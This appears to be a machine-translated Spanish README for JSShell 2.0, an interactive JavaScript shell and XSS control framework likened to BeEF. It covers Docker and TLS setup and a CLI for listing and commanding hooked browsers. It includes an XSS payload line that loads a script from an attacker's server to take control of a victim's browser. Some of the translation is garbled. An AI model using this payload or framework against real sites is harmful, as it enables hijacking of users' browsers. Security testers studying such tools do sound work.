Un shell de JavaScript basado en la web múltiple interactivo. Inicialmente se creó para depurar los navegadores esotéricos remotos durante los experimentos y la investigación. Esta herramienta se puede adjuntar fácilmente a la carga útil XSS (secuencia de comandos del sitio cruzado) para lograr la ejecución del código remoto del navegador (similar al marco de carne de res).
La versión 2.0 se crea completamente desde cero, introduciendo nuevas características emocionantes, estabilidad y mantenimiento.
Daniel Abeles.
<script> En el directorio resources , actualice el archivo config.json con su configuración deseada:
docker , elija el host de base de datos como db (que es el nombre interno de host).shell.js hace algunas llamadas de AJAX para registrarse y sondear para nuevos comandos. Por lo general, será http[s]://{YOUR_SERVER_IP}:{PORT} . Ahora JSShell admite TLS, lo que significa que ahora puede generar certificados TLS y alimentarlos al servidor web. El servidor web inferirá el nombre de dominio del archivo config.json . Para crear el certificado, use el script create_cert.py en la carpeta de scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Tenga en cuenta que el servidor web debe estar bajo para que el script funcione correctamente. ¡En este punto, hemos generado con éxito nuestros certificados! Las únicas modificaciones que debemos hacer son:
config.json , cambie el esquema del campo URL a https .docker-compose.yml cambia el puerto expuesto del contenedor web a 443 . Esta nueva versión admite la instalación y ejecución de JSSHELL a través de docker y docker-compose . Ahora, para instalar y ejecutar todo el marco de JSShell, simplemente ejecute:
$ ./scripts/start_docker_shell.shEsto lo hará:
JSShell Si aún desea utilizar el método de instalación de la antigua moda, simplemente asegúrese de tener una base de datos MongoDB en ejecución, y actualice el archivo config.json que reside en el directorio resources .
Recomiendo usar un entorno virtual con pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv O usar virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateLuego, instale los requisitos:
$ pip install -r requirements.txt Si usó el método docker , no es necesario ejecutar el siguiente procedimiento.
De lo contrario, una vez que tenemos la configuración de la base de datos, necesitamos iniciar el servidor de API web. Para hacer, ejecutar:
$ python manage.py webEsto creará y ejecutará un servidor web que escucha a las conexiones entrantes y sirve a nuestro código JSSHELL.
Ahora para comenzar el JSSHell CLI, ejecute el mismo script pero ahora con la bandera shell :
$ python manage.py shell Después de configurar y ejecutar los componentes requeridos, ingrese el comando help para ver los comandos disponibles:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell admite 2 métodos de operación:
Similar a otros marcos de control XSS (como la carne de res), JSSHELL es capaz de administrar explotaciones de XSS exitosas. En el ejemplo, si puede inyectar una etiqueta script , inyecte el siguiente recurso a su carga útil y aparecerá un nuevo cliente en su consola:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Si desea depurar navegadores exóticos y esotéricos, simplemente puede navegar a http[s]://{YOUR_SERVER_IP}:{PORT}/ y un nuevo cliente aparecerá en su cliente JSSHELL CLI. Ahora es debuggable a través de nuestra consola JSSHELL.
Canop para JSON.PRUNE